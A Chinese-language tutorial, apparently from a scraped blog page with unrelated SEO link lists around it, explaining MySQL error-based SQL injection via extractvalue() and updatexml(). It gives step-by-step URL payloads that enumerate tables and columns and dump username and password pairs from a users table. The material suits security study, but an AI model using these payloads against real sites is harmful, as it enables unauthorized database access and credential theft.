当前位置: 首页 > news >正文

在线做简历的网站巨量数据分析入口

在线做简历的网站,巨量数据分析入口,下载做蛋糕网站,网站建设新方式简单省时一.报错注入 1.什么是报错注入? 这是一种页面响应形式,响应过程如下: 用户在前台页面输入检索内容----->后台将前台输入的检索内容无加区别的拼接成sql语句,送给数据库执行------>数据库将执行的结果返回给后台&#xff…

一.报错注入

1.什么是报错注入?

这是一种页面响应形式,响应过程如下:

用户在前台页面输入检索内容----->后台将前台输入的检索内容无加区别的拼接成sql语句,送给数据库执行------>数据库将执行的结果返回给后台,后台将数据库执行的结果无加区别的显示到前台页面上

两个“无加区别”:后台对于输入输出的合理性没有做检查(引起报错注入存在的基础)

通过看这个页面是否有回显来判断是否用报错注入

构造语句,让错误信息中夹杂可以显示数据库内容的查询语句

二.常用函数

主要用1,2,3

1.通过extractValue()报错注入

函数extractValue()包含两个参数

第一个  参数XML文档对象名称,第二个参数  路径

以创建数据库ctfstu和数据表xml为示例,展示函数extractValue()的用法

(1)先在ctfstu数据库内创建表xml

>create database ctfstu charset utf8;

>create table xml(doc varchar(150));

(2)在表内插入两段数据

insert into xml values('

<book>

<title>A bad boy how to get a girlfriend</title>

<author>

<initial>Love</initial>

<surname>benben</surname>

</author>

</book>

');

insert into xml values('

<book>

<title>how to become a bad boy</title>

<author>

<initial>hualong</initial>

<surname>Melton</surname>

</author>

</book>

');

(3)使用extractValue()查询xml里面的内容

查询作者是谁

>select extractvalue(doc,'/book/author/surname')from xml;

如果需要查询书名则可以用如下命令

>select extractvalue(doc,'/book/title') from xml;

把查询参数路径写错----->查询不到内容,但不会报错

>select extractValue(doc,concat(0x7e,(select);

把查询参数格式符号写错(例如book前面的/写成~)——>提示报错信息   [我们需要通过报错信息来尝试报错出我们需要的信息]

 然后就构造下面这句

>select extractvalue(dox,concat(0x7e,(select database()))) from, xml;

(dox 可以随意写)

?/id=100' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+

?/id=100' and 1,extractvalue(1,concat(0x7e,(select database()))) --+

0x7e  是  ~ 的ASCLL码

(4)获取所需数据表表名users

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

(5) 获取所需数据列列名username 和 password

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+

(6)显示内容

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) --+

或者 

?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,,password) from users))) --+

默认只能显示返回32个字符

使用函数substring解决只能返回32个字符串问题 

select substring(123456,1,3)  第一个参数是要控制输出的字符串,第二个参数是从那个地方开始显示,第三个参数是一次要显示几个字符 

2.updatexml报错注入

函数updatexml(XML_document,XPath_string,new_value)包含三个参数

第一个参数: XML_document是string格式,为XML文档对象的名称,例如Doc

第二个参数:XPath_string是路径,XPath格式的字符串

第三个参数:new_value,string格式,替换查找到符合条件的数据

updatexml报错原理:

同extractvalue(),输入错误的第二个参数,即更改路径的符号

正常句式

>select updatexml(doc,'/book/auther/surname','1') from xml;

错误句式

>select updatexml(doc,'~book/auther/surname','1') from xml;

http://www.ysxn.cn/news/282.html

相关文章:

  • 怎么做动漫照片下载网站天津百度爱采购
  • 南昌做网站公司专业外贸网络推广
  • 成都专业做网站的公司有哪些企业官网怎么做
  • 数据做图网站有哪些百度指数的特点
  • 唐山如何做百度的网站建设seo高效优化
  • 网站设计确认函百度一下图片识别
  • 青岛企业网站建设公司百度小程序优化
  • 海口个人建站模板百度推广服务费一年多少钱
  • 所有网站域名都有人工智能培训班收费标准
  • 黑龙江省建设网站首页最新行业动态
  • 成都市成华区建设路商务中心网站建网站有哪些步骤
  • 建设工程施工合同名词解释seo咨询价格找推推蛙
  • 哪些做网站的公司广告公司是做什么的
  • 深圳专业做网站专业网络营销策划书总结
  • 如何汉化wordpress主题东营网站seo
  • 百度站长工具域名查询百度站长统计
  • 加强企业门户网站建设目前最新的营销方式有哪些
  • 手机购物网站模板常州百度关键词优化
  • 做火影忍者网站的格式营销网课
  • 一级做爰网站深圳网络推广收费标准
  • 那个网站可以做网络兼职seo站群优化
  • 佛山外包网站建设麒麟seo外推软件
  • 网站建设的安全性株洲seo优化
  • 外贸做平台好还是自己建网站好免费的关键词挖掘工具
  • 重庆微信企业网站百度竞价包年推广是怎么回事
  • 网站开发委托协议百度网盘网页版入口
  • 网销都是在那些网站做推广做个公司网站大概多少钱
  • 去哪里学做网站app宁波网站推广运营公司
  • 织梦做英文网站出现乱码win7优化大师
  • 武汉网站程序外包网站页面优化方法